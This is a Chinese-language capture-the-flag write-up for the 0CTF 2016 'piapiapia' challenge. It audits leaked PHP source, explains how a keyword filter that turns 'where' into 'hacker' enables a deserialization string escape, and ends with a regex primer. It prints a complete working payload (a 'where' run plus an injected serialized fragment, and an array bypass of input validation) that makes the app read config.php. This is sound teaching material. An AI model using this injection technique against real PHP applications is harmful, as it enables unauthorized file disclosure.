[0CTF 2016]piapiapia参考大佬[CTF题目《piapiapia》(0CTF 2016)Write Up_0ctf 2016]piapiapia-CSDN博客的文章
知识点链接->PHP序列化漏洞与字符逃逸详解及代码审计
首先,进入页面如下图
我先试的就是robots.txt,它不存在,我就用dirsearch进行扫描,得到如下结果
可以看到存在www.zip文件,那就在网页里访问它,就直接开始下载它的源码了
根据源码,能知道它还有几个页面
index.php->登录
register.php->注册
update.php->更新数据(用户输入处理)
profile.php->资料展示(常有关键漏洞)
config.php->数据库配置,有可能有flag位置
class.php->核心业务逻辑
解题有了源码,那第一步肯定要看源码
但是看源码是有顺序的,
从最核心的文件开始看起:class.php → update.php → profile.php
为什么这个顺序?
class.php 包含了所有的数据处理逻辑
update.php 有文件上传和数据处理
profile.php 有数据展示逻辑
那就开始审计源码首先是config.php,因为它有可能有flag,内容如下
12345678
的确有flag,但是它的内容是不可读的
那接下来看class.php,内容如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110table, $where); }#判断用户是否存在,也就是用户是否存在性检查 #用户注册时检查用户名是否被占用。如果存在返回用户对象,否则返回false public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); }#用户注册,创建新用户账号 #密码使用MD5加密存储,只存储用户名和密码两个字段,profile 字段在注册时为NULL public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } }#用户登录验证, #根据用户名查询用户记录比较MD5加密后的密码是否匹配,返回登录成功/失败 public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } #展示用户信息,直接返回 profile 字段的原始数据 public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }}#更新用户信息class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } #建立数据库 public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } #执行数据查询 public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } #执行数据插入 public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } #执行数据更新 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } #数据过滤 public function __tostring() { return __class__; }}session_start();$user = new user();$user->connect($config);
通过对class.php的审计,能发现有个数据过滤的方法,再仔细看看
1234567891011public function filter($string) { // 第一部分:转义处理 $escape = array('\'', '\\\\'); // 要过滤的字符:单引号和反斜线 $escape = '/' . implode('|', $escape) . '/'; // 生成正则:'/\'|\\\\/' $string = preg_replace($escape, '_', $string); // 把单引号和反斜线替换成下划线 // 第二部分:SQL关键词过滤 $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; // 生成正则:'/select|insert|update|delete|where/i' return preg_replace($safe, 'hacker', $string); // 把这些SQL关键词替换成'hacker'}
也就是把被过滤的字符换成hacker,有问题,select|insert|update|delete->hacker字符数量是不变的,但是where->hacker就多了一个字符
接着审计update.php,它的内容如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 10) die('Invalid nickname'); # nickname必须是除了字母数字下划线,并且长度要<=10 $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); #文件大小在5字节到1MB之间 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); #上传文件到update/,文件名字是原本文件名的md5 $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); #构建profile数组 $user->update_profile($username, serialize($profile)); #将profile数组进行序列化 echo 'Update Profile Success!Your Profile'; } else {?>#下面就是显示一个HTML表单让用户填写资料
最后,审计下profile.php,内容如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243show_profile($username); #调用 user->show_profile() 从数据库获取序列化的用户资料 if($profile == null) { header('Location: update.php'); } #如果用户没有设置资料,跳转到更新页面 else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); #否则则直接对数据库中的数据进行了反序列化!!!!?>
Hi
已经得到了点思路,在update.php里,对用户输入的数据进行化,在profile.php里直接将数据进行反序列化。所以,我们可以通过这个反序列化执行命令,那么思路就很明确了:让 $profile[‘photo’]的值为“config.php”,这这样就可以得到falg了,读取 config.php 中的 flag(因为`` $flag `变量在里面)
而且在class.php里,filter函数直接能让where变成hacker,多出一个字符,
漏洞点:
反序列化逃逸:profile.php 中的 unserialize($profile) 未校验数据完整性。
过滤函数缺陷:filter 函数将 where 等关键词替换为 hacker(长度从 5 增加到 6),导致字符串长度不一致,引发反序列化逃逸。
构造反序列化payload
目标:篡改序列化后的 photo 字段为 config.php。
步骤:
数组绕过正则检测:update.php 中 nickname 的正则检查/[^a-zA-Z0-9_]/可通过传递数组绕过(如 nickname[]=payload),从而绕过字符和长度限制。
计算逃逸长度:需闭合的字符串为 ";}s:5:"photo";s:10:"config.php";}(共 34 字符)。每个 where 替换为 hacker 后增加 1 字符,需构造 34 个 where 来填充。当我们构造34个where时,当where被替换成hacker之后,会多出34个字符,使得``”;}s:5:”photo”;s:10:”config.php”;} `被向后推,从而替代了photo字段的序列化结果
Payload 构造:nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
替换 where 后,反序列化会提前闭合,photo 被篡改为 config.php
替换前序列化结果:a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
替换后序列化结果:a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
触发漏洞与获取 Flag提交 Payload:通过 update.php 上传修改后的 nickname 和任意合法 phone、email、photo(需满足正则校验)。读取 Flag:访问 profile.php,页面中的图片 src 属性为 config.php 的 Base64 编码内容,解码即可获取 Flag。
首先需要,注册登录账号,然后在登录之后会直接跳转到更新信息, 正常符合要求输入就行,
www.zip 是干什么的?来源: 它通常是网站开发者或管理员为了方便备份、迁移或版本控制而创建的压缩包。他们可能本想把它放在一个安全的、非Web访问的目录,但不小心放在了网站的根目录(如 /var/www/html/)或某个子目录下。
目的: 这个文件包含了构建和运行该网站所需的所有核心文件。它是一个完整的“快照”
正则表达式以(!preg_match('/^\d{11}$/', $_POST['phone']))为例,
12345678910/^\d{11}$/↑ ↑ ↑ ↑分隔符 正则内容 分隔符/^\d{11}$/ ↑ ↑ ↑ ↑ | | | 字符串结束 | | 前面的元素重复11次 | 匹配数字字符串开始
^ - 匹配字符串的开始
$ - 匹配字符串的结束
\d - 匹配数字(等价于 [0-9])
{11} - 匹配前面的元素11次
正则表达式快速解读指南锚定符(确定位置)12^ # 字符串开始$ # 字符串结束
字符类(匹配什么字符)12345678\d # 数字 [0-9]\w # 单词字符 [a-zA-Z0-9_]\s # 空白字符. # 任意字符(除换行外)[a-z] # 小写字母[A-Z] # 大写字母[0-9] # 数字[abc] # a、b或c中的任意一个
量词(匹配多少次)123456* # 0次或多次+ # 1次或多次? # 0次或1次{n} # 恰好n次{n,} # 至少n次{n,m} # n到m次
否定字符类1234[^abc] # 除了a、b、c以外的任意字符\D # 非数字 [^0-9]\W # 非单词字符 [^a-zA-Z0-9_]\S # 非空白字符
记忆技巧
先看锚定:^ 和 $ 确定必须匹配整个字符串
再看字符类:确定允许什么字符
最后看量词:确定字符出现次数
注意转义:\. 是字面点号,. 是任意字符
注意位置:[^abc] 在字符类内是”否定”,^abc 在字符类外是”开始”
RegExr: Learn, Build, & Test RegEx这个网址可以在线得到正则表达式的解释